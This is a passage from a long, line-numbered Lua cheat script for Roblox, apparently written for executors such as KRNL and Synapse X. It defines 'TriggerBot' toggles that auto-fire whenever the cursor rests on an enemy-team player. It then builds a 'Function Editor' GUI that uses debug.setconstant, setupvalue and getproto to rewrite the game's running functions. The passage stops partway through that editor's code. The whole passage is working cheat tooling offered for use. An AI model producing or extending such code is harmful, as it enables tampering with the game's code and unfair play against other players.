  6165. local target = game:GetService("Players"):FindFirstChild(mouse.Target.Parent.Name)
  6166. if target.TeamColor ~= player.TeamColor then
  6167. mouse1down() wait() mouse1up()
  6168. end
  6169. end
  6170. end)
  6171. warn("Triggerbot with mouse1down() and mouse1up() has loaded. You can use this script if other triggerbot not work. This script can work in KRNL and other.")
  6172. else
  6173. triggermdlol = false
  6174. if triggermd ~= nil then
  6175. triggermd:Disconnect()
  6176. end
  6177. end
  6178. end
  6179. })
  6180.  
  6181. Function:AddToggle({
  6182. Name = "TriggerBot Mouse Press-Release",
  6183. Default = false,
  6184. Callback = function(triggermplol)
  6185. if triggermplol == true then
  6186. if triggermp ~= nil then
  6187. triggermp:Disconnect()
  6188. end
  6189. local player = game:GetService("Players").LocalPlayer
  6190. local mouse = player:GetMouse()
  6191. triggermp = game:GetService("RunService").RenderStepped:Connect(function()
  6192. if mouse.Target.Parent:FindFirstChild("Humanoid") and mouse.Target.Parent.Name ~= player.Name then
  6193. local target = game:GetService("Players"):FindFirstChild(mouse.Target.Parent.Name)
  6194. if target.TeamColor ~= player.TeamColor then
  6195. mouse1press() wait() mouse1release()
  6196. end
  6197. end
  6198. end)
  6199. warn("Triggerbot with mouse1press() and mouse1release() has loaded. You can use this script, if other triggerbot not work. This triggetbot can work in synapse x and other.")
  6200. else
  6201. triggermplol = false
  6202. if triggermp ~= nil then
  6203. triggermp:Disconnect()
  6204. end
  6205. end
  6206. end
  6207. })
  6208.  
  6209. Function:AddButton({
  6210. Name = "Function Editor",
  6211. Callback = function()
  6212. local gui = Instance.new("ScreenGui")
  6213. local main = Instance.new("Frame")
  6214. local funcEditor = Instance.new("Frame")
  6215. local const = Instance.new("ScrollingFrame")
  6216. local UIListLayout = Instance.new("UIListLayout")
  6217. local funcs = Instance.new("ScrollingFrame")
  6218. local UIListLayout_2 = Instance.new("UIListLayout")
  6219. local info = Instance.new("Frame")
  6220. local f1 = Instance.new("Frame")
  6221. local index = Instance.new("TextLabel")
  6222. local type_1 = Instance.new("TextLabel")
  6223. local action = Instance.new("TextLabel")
  6224. local f2 = Instance.new("Frame")
  6225. local index_2 = Instance.new("TextLabel")
  6226. local type_2 = Instance.new("TextLabel")
  6227. local action_2 = Instance.new("TextLabel")
  6228. local f3 = Instance.new("Frame")
  6229. local index_3 = Instance.new("TextLabel")
  6230. local type_3 = Instance.new("TextLabel")
  6231. local action_3 = Instance.new("TextLabel")
  6232. local up = Instance.new("ScrollingFrame")
  6233. local UIListLayout_3 = Instance.new("UIListLayout")
  6234. local hide = Instance.new("TextButton")
  6235. local mainFunc = Instance.new("TextButton")
  6236. local upFunc = Instance.new("TextButton")
  6237. local clearFuncEditor = Instance.new("TextButton")
  6238. local FuncEditorButton = Instance.new("TextButton")
  6239. local ExplorerButton = Instance.new("TextButton")
  6240. local Explorer = Instance.new("Frame")
  6241. local editFrame = Instance.new("Frame")
  6242. local title = Instance.new("TextLabel")
  6243. local confirm = Instance.new("TextButton")
  6244. local cancel = Instance.new("TextButton")
  6245. local constantGUIelements = Instance.new("TextLabel")
  6246. local previousValue = Instance.new("TextLabel")
  6247. local constantGUIelements_2 = Instance.new("TextLabel")
  6248. local newValue = Instance.new("TextBox")
  6249. local number = Instance.new("TextButton")
  6250. local bool = Instance.new("TextButton")
  6251. local stringV = Instance.new("TextButton")
  6252. local constantGUIelements_3 = Instance.new("TextLabel")
  6253. local editWithCode = Instance.new("TextButton")
  6254.  
  6255. --Properties:
  6256.  
  6257. gui.Name = "gui"
  6258. gui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
  6259. gui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
  6260. gui.ResetOnSpawn = false
  6261.  
  6262. main.Name = "main"
  6263. main.Parent = gui
  6264. main.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
  6265. main.BorderColor3 = Color3.fromRGB(50, 50, 50)
  6266. main.Position = UDim2.new(0.086956501, 0, 0.124780312, 0)
  6267. main.Size = UDim2.new(0, 900, 0, 450)
  6268.  
  6269. funcEditor.Name = "funcEditor"
  6270. funcEditor.Parent = main
  6271. funcEditor.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6272. funcEditor.BackgroundTransparency = 1.000
  6273. funcEditor.Size = UDim2.new(1, 0, 1, 0)
  6274.  
  6275. const.Name = "const"
  6276. const.Parent = funcEditor
  6277. const.Active = true
  6278. const.BackgroundColor3 = Color3.fromRGB(100, 100, 100)
  6279. const.BorderColor3 = Color3.fromRGB(255, 255, 255)
  6280. const.Position = UDim2.new(0, 300, 0, 55)
  6281. const.Size = UDim2.new(0, 300, 1, -55)
  6282. const.CanvasSize = UDim2.new(0, 0, 10, 0)
  6283. const.ScrollBarThickness = 0
  6284.  
  6285. UIListLayout.Parent = const
  6286. UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
  6287.  
  6288. funcs.Name = "funcs"
  6289. funcs.Parent = funcEditor
  6290. funcs.Active = true
  6291. funcs.BackgroundColor3 = Color3.fromRGB(100, 100, 100)
  6292. funcs.BorderColor3 = Color3.fromRGB(255, 255, 255)
  6293. funcs.Position = UDim2.new(0, 600, 0, 55)
  6294. funcs.Size = UDim2.new(0, 300, 1, -55)
  6295. funcs.CanvasSize = UDim2.new(0, 0, 10, 0)
  6296. funcs.ScrollBarThickness = 0
  6297.  
  6298. UIListLayout_2.Parent = funcs
  6299. UIListLayout_2.SortOrder = Enum.SortOrder.LayoutOrder
  6300.  
  6301. info.Name = "info"
  6302. info.Parent = funcEditor
  6303. info.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  6304. info.BorderColor3 = Color3.fromRGB(255, 255, 255)
  6305. info.Position = UDim2.new(0, 0, 0, 35)
  6306. info.Size = UDim2.new(1, 0, 0, 20)
  6307.  
  6308. f1.Name = "f1"
  6309. f1.Parent = info
  6310. f1.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6311. f1.BackgroundTransparency = 1.000
  6312. f1.Size = UDim2.new(0, 300, 1, 0)
  6313.  
  6314. index.Name = "index"
  6315. index.Parent = f1
  6316. index.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6317. index.BackgroundTransparency = 1.000
  6318. index.Size = UDim2.new(0, 40, 1, 0)
  6319. index.Font = Enum.Font.SourceSans
  6320. index.Text = "index"
  6321. index.TextColor3 = Color3.fromRGB(255, 255, 255)
  6322. index.TextSize = 14.000
  6323.  
  6324. type_1.Name = "type"
  6325. type_1.Parent = f1
  6326. type_1.AnchorPoint = Vector2.new(0.5, 0.5)
  6327. type_1.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6328. type_1.BackgroundTransparency = 1.000
  6329. type_1.Position = UDim2.new(0.5, 0, 0.5, 0)
  6330. type_1.Size = UDim2.new(0, 40, 0, 10)
  6331. type_1.Font = Enum.Font.SourceSans
  6332. type_1.Text = "Upvalues"
  6333. type_1.TextColor3 = Color3.fromRGB(255, 255, 255)
  6334. type_1.TextSize = 14.000
  6335.  
  6336. action.Name = "action"
  6337. action.Parent = f1
  6338. action.AnchorPoint = Vector2.new(1, 0)
  6339. action.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6340. action.BackgroundTransparency = 1.000
  6341. action.Position = UDim2.new(1, 0, 0, 0)
  6342. action.Size = UDim2.new(0, 40, 1, 0)
  6343. action.Font = Enum.Font.SourceSans
  6344. action.Text = "action"
  6345. action.TextColor3 = Color3.fromRGB(255, 255, 255)
  6346. action.TextSize = 14.000
  6347.  
  6348. f2.Name = "f2"
  6349. f2.Parent = info
  6350. f2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6351. f2.BackgroundTransparency = 1.000
  6352. f2.Position = UDim2.new(0, 300, 0, 0)
  6353. f2.Size = UDim2.new(0, 300, 1, 0)
  6354.  
  6355. index_2.Name = "index"
  6356. index_2.Parent = f2
  6357. index_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6358. index_2.BackgroundTransparency = 1.000
  6359. index_2.Size = UDim2.new(0, 40, 1, 0)
  6360. index_2.Font = Enum.Font.SourceSans
  6361. index_2.Text = "index"
  6362. index_2.TextColor3 = Color3.fromRGB(255, 255, 255)
  6363. index_2.TextSize = 14.000
  6364.  
  6365. type_2.Name = "type"
  6366. type_2.Parent = f2
  6367. type_2.AnchorPoint = Vector2.new(0.5, 0.5)
  6368. type_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6369. type_2.BackgroundTransparency = 1.000
  6370. type_2.Position = UDim2.new(0.5, 0, 0.5, 0)
  6371. type_2.Size = UDim2.new(0, 40, 0, 10)
  6372. type_2.Font = Enum.Font.SourceSans
  6373. type_2.Text = "Constants"
  6374. type_2.TextColor3 = Color3.fromRGB(255, 255, 255)
  6375. type_2.TextSize = 14.000
  6376.  
  6377. action_2.Name = "action"
  6378. action_2.Parent = f2
  6379. action_2.AnchorPoint = Vector2.new(1, 0)
  6380. action_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6381. action_2.BackgroundTransparency = 1.000
  6382. action_2.Position = UDim2.new(1, 0, 0, 0)
  6383. action_2.Size = UDim2.new(0, 40, 1, 0)
  6384. action_2.Font = Enum.Font.SourceSans
  6385. action_2.Text = "action"
  6386. action_2.TextColor3 = Color3.fromRGB(255, 255, 255)
  6387. action_2.TextSize = 14.000
  6388.  
  6389. f3.Name = "f3"
  6390. f3.Parent = info
  6391. f3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6392. f3.BackgroundTransparency = 1.000
  6393. f3.Position = UDim2.new(0, 600, 0, 0)
  6394. f3.Size = UDim2.new(0, 300, 1, 0)
  6395.  
  6396. index_3.Name = "index"
  6397. index_3.Parent = f3
  6398. index_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6399. index_3.BackgroundTransparency = 1.000
  6400. index_3.Size = UDim2.new(0, 40, 1, 0)
  6401. index_3.Font = Enum.Font.SourceSans
  6402. index_3.Text = "index"
  6403. index_3.TextColor3 = Color3.fromRGB(255, 255, 255)
  6404. index_3.TextSize = 14.000
  6405.  
  6406. type_3.Name = "type"
  6407. type_3.Parent = f3
  6408. type_3.AnchorPoint = Vector2.new(0.5, 0.5)
  6409. type_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6410. type_3.BackgroundTransparency = 1.000
  6411. type_3.Position = UDim2.new(0.5, 0, 0.5, 0)
  6412. type_3.Size = UDim2.new(0, 40, 0, 10)
  6413. type_3.Font = Enum.Font.SourceSans
  6414. type_3.Text = "Functions/Protos"
  6415. type_3.TextColor3 = Color3.fromRGB(255, 255, 255)
  6416. type_3.TextSize = 14.000
  6417.  
  6418. action_3.Name = "action"
  6419. action_3.Parent = f3
  6420. action_3.AnchorPoint = Vector2.new(1, 0)
  6421. action_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6422. action_3.BackgroundTransparency = 1.000
  6423. action_3.Position = UDim2.new(1, 0, 0, 0)
  6424. action_3.Size = UDim2.new(0, 40, 1, 0)
  6425. action_3.Font = Enum.Font.SourceSans
  6426. action_3.Text = "action"
  6427. action_3.TextColor3 = Color3.fromRGB(255, 255, 255)
  6428. action_3.TextSize = 14.000
  6429.  
  6430. up.Name = "up"
  6431. up.Parent = funcEditor
  6432. up.Active = true
  6433. up.BackgroundColor3 = Color3.fromRGB(100, 100, 100)
  6434. up.BorderColor3 = Color3.fromRGB(255, 255, 255)
  6435. up.Position = UDim2.new(0, 0, 0, 55)
  6436. up.Size = UDim2.new(0, 300, 1, -55)
  6437. up.CanvasSize = UDim2.new(0, 0, 10, 0)
  6438. up.ScrollBarThickness = 0
  6439.  
  6440. UIListLayout_3.Parent = up
  6441. UIListLayout_3.SortOrder = Enum.SortOrder.LayoutOrder
  6442.  
  6443. hide.Name = "hide"
  6444. hide.Parent = funcEditor
  6445. hide.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  6446. hide.BorderColor3 = Color3.fromRGB(0, 0, 0)
  6447. hide.BorderSizePixel = 0
  6448. hide.Position = UDim2.new(1, -45, 0, 0)
  6449. hide.Size = UDim2.new(0, 45, 0, 25)
  6450. hide.Font = Enum.Font.SourceSans
  6451. hide.Text = "Hide(F8)"
  6452. hide.TextColor3 = Color3.fromRGB(255, 255, 255)
  6453. hide.TextSize = 14.000
  6454.  
  6455. mainFunc.Name = "mainFunc"
  6456. mainFunc.Parent = funcEditor
  6457. mainFunc.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  6458. mainFunc.BorderSizePixel = 0
  6459. mainFunc.Position = UDim2.new(1, -250, 0, 0)
  6460. mainFunc.Size = UDim2.new(0, 80, 0, 25)
  6461. mainFunc.Font = Enum.Font.SourceSans
  6462. mainFunc.Text = "main function"
  6463. mainFunc.TextColor3 = Color3.fromRGB(255, 255, 255)
  6464. mainFunc.TextSize = 14.000
  6465.  
  6466. upFunc.Name = "upFunc"
  6467. upFunc.Parent = funcEditor
  6468. upFunc.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  6469. upFunc.BorderSizePixel = 0
  6470. upFunc.Position = UDim2.new(1, -150, 0, 0)
  6471. upFunc.Size = UDim2.new(0, 85, 0, 25)
  6472. upFunc.Font = Enum.Font.SourceSans
  6473. upFunc.Text = "upper function"
  6474. upFunc.TextColor3 = Color3.fromRGB(255, 255, 255)
  6475. upFunc.TextSize = 14.000
  6476.  
  6477. clearFuncEditor.Name = "clearFuncEditor"
  6478. clearFuncEditor.Parent = funcEditor
  6479. clearFuncEditor.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  6480. clearFuncEditor.BorderSizePixel = 0
  6481. clearFuncEditor.Position = UDim2.new(1, -325, 0, 0)
  6482. clearFuncEditor.Size = UDim2.new(0, 50, 0, 25)
  6483. clearFuncEditor.Font = Enum.Font.SourceSans
  6484. clearFuncEditor.Text = "clear"
  6485. clearFuncEditor.TextColor3 = Color3.fromRGB(255, 255, 255)
  6486. clearFuncEditor.TextSize = 14.000
  6487.  
  6488. FuncEditorButton.Name = "FuncEditorButton"
  6489. FuncEditorButton.Parent = main
  6490. FuncEditorButton.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  6491. FuncEditorButton.BackgroundTransparency = 1.000
  6492. FuncEditorButton.BorderColor3 = Color3.fromRGB(255, 255, 255)
  6493. FuncEditorButton.BorderSizePixel = 0
  6494. FuncEditorButton.Size = UDim2.new(0, 150, 0, 25)
  6495. FuncEditorButton.Font = Enum.Font.SourceSans
  6496. FuncEditorButton.Text = "Function editor"
  6497. FuncEditorButton.TextColor3 = Color3.fromRGB(255, 255, 255)
  6498. FuncEditorButton.TextSize = 25.000
  6499.  
  6500. ExplorerButton.Name = "ExplorerButton"
  6501. ExplorerButton.Parent = main
  6502. ExplorerButton.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  6503. ExplorerButton.BackgroundTransparency = 1.000
  6504. ExplorerButton.BorderColor3 = Color3.fromRGB(255, 255, 255)
  6505. ExplorerButton.BorderSizePixel = 0
  6506. ExplorerButton.Position = UDim2.new(0, 175, 0, 0)
  6507. ExplorerButton.Size = UDim2.new(0, 150, 0, 25)
  6508. ExplorerButton.Font = Enum.Font.SourceSans
  6509. ExplorerButton.Text = "Explorer"
  6510. ExplorerButton.TextColor3 = Color3.fromRGB(255, 255, 255)
  6511. ExplorerButton.TextSize = 20.000
  6512.  
  6513. Explorer.Name = "Explorer"
  6514. Explorer.Parent = main
  6515. Explorer.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6516. Explorer.BackgroundTransparency = 1.000
  6517. Explorer.Size = UDim2.new(1, 0, 1, 0)
  6518. Explorer.Visible = false
  6519.  
  6520. editFrame.Name = "editFrame"
  6521. editFrame.Parent = main
  6522. editFrame.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
  6523. editFrame.BorderSizePixel = 0
  6524. editFrame.Position = UDim2.new(1.0511111, 0, 0, 0)
  6525. editFrame.Size = UDim2.new(0, 200, 0, 150)
  6526. editFrame.Visible = false
  6527.  
  6528. title.Name = "title"
  6529. title.Parent = editFrame
  6530. title.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
  6531. title.BorderColor3 = Color3.fromRGB(255, 255, 255)
  6532. title.Size = UDim2.new(0, 70, 0, 25)
  6533. title.Font = Enum.Font.SourceSans
  6534. title.Text = "value editor"
  6535. title.TextColor3 = Color3.fromRGB(255, 255, 255)
  6536. title.TextSize = 14.000
  6537.  
  6538. confirm.Name = "confirm"
  6539. confirm.Parent = editFrame
  6540. confirm.AnchorPoint = Vector2.new(1, 1)
  6541. confirm.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  6542. confirm.Position = UDim2.new(1, -5, 1, -5)
  6543. confirm.Size = UDim2.new(0, 50, 0, 25)
  6544. confirm.Font = Enum.Font.SourceSans
  6545. confirm.Text = "Confirm"
  6546. confirm.TextColor3 = Color3.fromRGB(0, 255, 0)
  6547. confirm.TextSize = 14.000
  6548.  
  6549. cancel.Name = "cancel"
  6550. cancel.Parent = editFrame
  6551. cancel.AnchorPoint = Vector2.new(0, 1)
  6552. cancel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  6553. cancel.Position = UDim2.new(0, 5, 1, -5)
  6554. cancel.Size = UDim2.new(0, 50, 0, 25)
  6555. cancel.Font = Enum.Font.SourceSans
  6556. cancel.Text = "Cancel"
  6557. cancel.TextColor3 = Color3.fromRGB(255, 0, 0)
  6558. cancel.TextSize = 14.000
  6559.  
  6560. constantGUIelements.Name = "constantGUIelements"
  6561. constantGUIelements.Parent = editFrame
  6562. constantGUIelements.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6563. constantGUIelements.BackgroundTransparency = 1.000
  6564. constantGUIelements.Position = UDim2.new(0, 0, 0, 30)
  6565. constantGUIelements.Size = UDim2.new(0, 65, 0, 25)
  6566. constantGUIelements.Font = Enum.Font.SourceSans
  6567. constantGUIelements.Text = "prev value"
  6568. constantGUIelements.TextColor3 = Color3.fromRGB(255, 255, 255)
  6569. constantGUIelements.TextSize = 14.000
  6570.  
  6571. previousValue.Name = "previousValue"
  6572. previousValue.Parent = editFrame
  6573. previousValue.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6574. previousValue.BackgroundTransparency = 1.000
  6575. previousValue.Position = UDim2.new(0, 65, 0, 30)
  6576. previousValue.Size = UDim2.new(0, 135, 0, 25)
  6577. previousValue.Font = Enum.Font.SourceSans
  6578. previousValue.Text = "previous preview value"
  6579. previousValue.TextColor3 = Color3.fromRGB(255, 255, 255)
  6580. previousValue.TextSize = 14.000
  6581. previousValue.TextWrapped = true
  6582.  
  6583. constantGUIelements_2.Name = "constantGUIelements"
  6584. constantGUIelements_2.Parent = editFrame
  6585. constantGUIelements_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6586. constantGUIelements_2.BackgroundTransparency = 1.000
  6587. constantGUIelements_2.Position = UDim2.new(0, 0, 0, 60)
  6588. constantGUIelements_2.Size = UDim2.new(0, 65, 0, 25)
  6589. constantGUIelements_2.Font = Enum.Font.SourceSans
  6590. constantGUIelements_2.Text = "new value"
  6591. constantGUIelements_2.TextColor3 = Color3.fromRGB(255, 255, 255)
  6592. constantGUIelements_2.TextSize = 14.000
  6593.  
  6594. newValue.Name = "newValue"
  6595. newValue.Parent = editFrame
  6596. newValue.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6597. newValue.BackgroundTransparency = 1.000
  6598. newValue.Position = UDim2.new(0, 65, 0, 60)
  6599. newValue.Size = UDim2.new(0, 135, 0, 25)
  6600. newValue.ClearTextOnFocus = false
  6601. newValue.Font = Enum.Font.SourceSans
  6602. newValue.PlaceholderText = "new value"
  6603. newValue.Text = ""
  6604. newValue.TextColor3 = Color3.fromRGB(255, 255, 255)
  6605. newValue.TextSize = 14.000
  6606.  
  6607. number.Name = "number"
  6608. number.Parent = editFrame
  6609. number.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  6610. number.BorderSizePixel = 0
  6611. number.Position = UDim2.new(0, 90, 0, 90)
  6612. number.Size = UDim2.new(0, 50, 0, 20)
  6613. number.Font = Enum.Font.SourceSans
  6614. number.Text = "number"
  6615. number.TextColor3 = Color3.fromRGB(255, 0, 0)
  6616. number.TextSize = 14.000
  6617.  
  6618. bool.Name = "bool"
  6619. bool.Parent = editFrame
  6620. bool.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  6621. bool.BorderSizePixel = 0
  6622. bool.Position = UDim2.new(0, 50, 0, 90)
  6623. bool.Size = UDim2.new(0, 30, 0, 20)
  6624. bool.Font = Enum.Font.SourceSans
  6625. bool.Text = "bool"
  6626. bool.TextColor3 = Color3.fromRGB(255, 0, 0)
  6627. bool.TextSize = 14.000
  6628.  
  6629. stringV.Name = "string"
  6630. stringV.Parent = editFrame
  6631. stringV.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  6632. stringV.BorderSizePixel = 0
  6633. stringV.Position = UDim2.new(0, 150, 0, 90)
  6634. stringV.Size = UDim2.new(0, 50, 0, 20)
  6635. stringV.Font = Enum.Font.SourceSans
  6636. stringV.Text = "string"
  6637. stringV.TextColor3 = Color3.fromRGB(255, 0, 0)
  6638. stringV.TextSize = 14.000
  6639.  
  6640. constantGUIelements_3.Name = "constantGUIelements"
  6641. constantGUIelements_3.Parent = editFrame
  6642. constantGUIelements_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  6643. constantGUIelements_3.BackgroundTransparency = 1.000
  6644. constantGUIelements_3.Position = UDim2.new(0, 0, 0, 90)
  6645. constantGUIelements_3.Size = UDim2.new(0, 40, 0, 20)
  6646. constantGUIelements_3.Font = Enum.Font.SourceSans
  6647. constantGUIelements_3.Text = "type"
  6648. constantGUIelements_3.TextColor3 = Color3.fromRGB(255, 255, 255)
  6649. constantGUIelements_3.TextSize = 14.000
  6650.  
  6651. editWithCode.Name = "editWithCode"
  6652. editWithCode.Parent = editFrame
  6653. editWithCode.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  6654. editWithCode.BorderColor3 = Color3.fromRGB(255, 255, 255)
  6655. editWithCode.Position = UDim2.new(0, 125, 0, 0)
  6656. editWithCode.Size = UDim2.new(0, 75, 0, 25)
  6657. editWithCode.Font = Enum.Font.SourceSans
  6658. editWithCode.Text = "Edit with lua"
  6659. editWithCode.TextColor3 = Color3.fromRGB(255, 255, 255)
  6660. editWithCode.TextSize = 14.000
  6661.  
  6662. local nn = 0
  6663. local notify = function(t,m)
  6664. spawn(function()
  6665. if nn < 4 then
  6666. nn += 1
  6667. game.StarterGui:SetCore("SendNotification",{
  6668. Title = tostring(t);
  6669. Text = tostring(m);
  6670. Duration = 5;})
  6671. wait(5)
  6672. nn -= 1
  6673. end
  6674. end)
  6675. end
  6676.  
  6677. function addValFrame(parent,i,v,s)
  6678. local valFrame = Instance.new("Frame")
  6679. local index_4 = Instance.new("TextLabel")
  6680. local value = Instance.new("TextLabel")
  6681. local action_4 = Instance.new("TextButton")
  6682.  
  6683. valFrame.Name = "valFrame"
  6684. valFrame.Parent = parent
  6685. valFrame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  6686. valFrame.BorderColor3 = Color3.fromRGB(255, 255, 255)
  6687. valFrame.Size = UDim2.new(1, 0, 0, 25)
  6688.  
  6689. index_4.Name = "index"
  6690. index_4.Parent = valFrame
  6691. index_4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  6692. index_4.BorderColor3 = Color3.fromRGB(255, 255, 255)
  6693. index_4.Size = UDim2.new(0.100000001, 0, 1, 0)
  6694. index_4.Font = Enum.Font.SourceSans
  6695. index_4.Text = tostring(i)
  6696. index_4.TextColor3 = Color3.fromRGB(255, 255, 255)
  6697. index_4.TextSize = 14.000
  6698.  
  6699. value.Name = "value"
  6700. value.Parent = valFrame
  6701. value.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  6702. value.BorderColor3 = Color3.fromRGB(255, 255, 255)
  6703. value.Position = UDim2.new(0.100000001, 0, 0, 0)
  6704. value.Size = UDim2.new(0.725000024, 0, 1, 0)
  6705. value.Font = Enum.Font.SourceSans
  6706. value.Text = tostring(v)
  6707. value.TextColor3 = Color3.fromRGB(255, 255, 255)
  6708. value.TextSize = 14.000
  6709. value.TextWrapped = true
  6710.  
  6711. action_4.Name = "action"
  6712. action_4.Parent = valFrame
  6713. action_4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  6714. action_4.BorderColor3 = Color3.fromRGB(255, 255, 255)
  6715. action_4.Position = UDim2.new(0.824999988, 0, 0, -1)
  6716. action_4.Size = UDim2.new(0.174999997, 0, 0, 25)
  6717. action_4.Font = Enum.Font.SourceSans
  6718. action_4.Text = s
  6719. action_4.TextColor3 = Color3.fromRGB(255, 255, 255)
  6720. action_4.TextSize = 14.000
  6721. return valFrame,action_4
  6722. end
  6723. --addValFrame(index,value,action text)
  6724.  
  6725. function clearDisplay(obj)
  6726. for i,v in pairs(obj:GetChildren())do
  6727. if not v:IsA("UIListLayout")then
  6728. v:Destroy()
  6729. end
  6730. end
  6731. end
  6732. local selectedType;
  6733.  
  6734. bool.MouseButton1Click:Connect(function()
  6735. bool.TextColor3 = Color3.fromRGB(0,255,0)
  6736. number.TextColor3 = Color3.fromRGB(255,0,0)
  6737. stringV.TextColor3 = Color3.fromRGB(255,0,0)
  6738. selectedType = "bool"
  6739. end)
  6740. stringV.MouseButton1Click:Connect(function()
  6741. bool.TextColor3 = Color3.fromRGB(255,0,0)
  6742. number.TextColor3 = Color3.fromRGB(255,0,0)
  6743. stringV.TextColor3 = Color3.fromRGB(0,255,0)
  6744. selectedType = "string"
  6745. end)
  6746. number.MouseButton1Click:Connect(function()
  6747. bool.TextColor3 = Color3.fromRGB(255,0,0)
  6748. number.TextColor3 = Color3.fromRGB(0,255,0)
  6749. stringV.TextColor3 = Color3.fromRGB(255,0,0)
  6750. selectedType = "number"
  6751. end)
  6752.  
  6753. function editValue(func,index,currentValue,typeSet)
  6754. previousValue.Text = tostring(currentValue)
  6755.  
  6756. selectedType = type(currentValue);
  6757.  
  6758. if selectedType =="bool" then
  6759. bool.TextColor3 = Color3.fromRGB(0,255,0)
  6760. number.TextColor3 = Color3.fromRGB(255,0,0)
  6761. stringV.TextColor3 = Color3.fromRGB(255,0,0)
  6762. elseif selectedType == "string" then
  6763. bool.TextColor3 = Color3.fromRGB(255,0,0)
  6764. number.TextColor3 = Color3.fromRGB(255,0,0)
  6765. stringV.TextColor3 = Color3.fromRGB(0,255,0)
  6766. elseif selectedType == "number" then
  6767. bool.TextColor3 = Color3.fromRGB(255,0,0)
  6768. number.TextColor3 = Color3.fromRGB(0,255,0)
  6769. stringV.TextColor3 = Color3.fromRGB(255,0,0)
  6770. else
  6771. bool.TextColor3 = Color3.fromRGB(255,0,0)
  6772. number.TextColor3 = Color3.fromRGB(255,0,0)
  6773. stringV.TextColor3 = Color3.fromRGB(255,0,0)
  6774. end
  6775. local toSet;
  6776. local confirmCon;
  6777. confirmCon=confirm.MouseButton1Click:Connect(function()
  6778. if selectedType == "bool" then
  6779. if newValue.Text == "true" then
  6780. toSet = true
  6781. elseif newValue.Text == "false"then
  6782. toSet = false
  6783. end
  6784. elseif selectedType == "number" then
  6785. if tonumber(newValue.Text) then
  6786. toSet = tonumber(newValue.Text)
  6787. end
  6788. elseif selectedType == "string" then
  6789. toSet = newValue.Text
  6790. end
  6791. if toSet then
  6792. if typeSet == "constant" then
  6793. debug.setconstant(func,index,toSet)
  6794. editFrame.Visible = false
  6795. confirmCon:Disconnect()
  6796. editfunc(func)
  6797. elseif typeSet == "upvalue" then
  6798. debug.setupvalue(func,index,toSet)
  6799. editFrame.Visible = false
  6800. confirmCon:Disconnect()
  6801. editfunc(func)
  6802. end
  6803. end
  6804. end)
  6805. local cancelCon;
  6806. cancelCon=cancel.MouseButton1Click:Connect(function()
  6807. confirmCon:Disconnect()
  6808. cancelCon:Disconnect()
  6809. previousValue.Text = "previous value preview"
  6810. bool.TextColor3 = Color3.fromRGB(255,0,0)
  6811. number.TextColor3 = Color3.fromRGB(255,0,0)
  6812. stringV.TextColor3 = Color3.fromRGB(255,0,0)
  6813. editFrame.Visible = false
  6814. end)
  6815. newValue.Text = ""
  6816. editFrame.Visible = true
  6817. end
  6818.  
  6819. local CurrentMainFunc = nil;
  6820.  
  6821. indexTrace = {}
  6822.  
  6823. function getFunc()
  6824. local currentFunc
  6825. if #indexTrace == 0 then
  6826. return CurrentMainFunc
  6827. end
  6828. for i,v in pairs(indexTrace)do
  6829. if currentFunc then
  6830. if v.traceType == "proto"then
  6831. local proto = debug.getproto(currentFunc,v.index)
  6832. currentFunc = proto
  6833. print("use proto")
  6834. elseif v.traceType == "upvalue"then
  6835. local upval = debug.getupvalue(currentFunc,v.index)
  6836. currentFunc = upval
  6837. print("use upval")
  6838. elseif v.traceType == "const"then
  6839. local const = debug.getconstant(currentFunc,v.index)
  6840. currentFunc = const
  6841. print("use const")
  6842. end
  6843. else
  6844. if v.traceType == "proto"then
  6845. local proto = debug.getproto(CurrentMainFunc,v.index)
  6846. currentFunc = proto
  6847. print("use proto")
  6848. elseif v.traceType == "upvalue"then
  6849. local upval = debug.getupvalue(CurrentMainFunc,v.index)
  6850. currentFunc = upval
  6851. print("use upval")
  6852. elseif v.traceType == "const"then
  6853. local const = debug.getconstant(CurrentMainFunc,v.index)
  6854. currentFunc = const
  6855. print("use const")
  6856. end
  6857. end
  6858. end
  6859. return currentFunc
  6860. end
  6861.  
  6862. function editfunc(func,isMain,indexOfFunc,typeForTrace,ignoreIsMain)
  6863. if not func or type(func)~='function'then
  6864. error("No args about function. Invalid argument function expected. Try again.")
  6865. end
  6866.  
  6867. if isMain == nil then
  6868. isMain = true
  6869. end
  6870.  
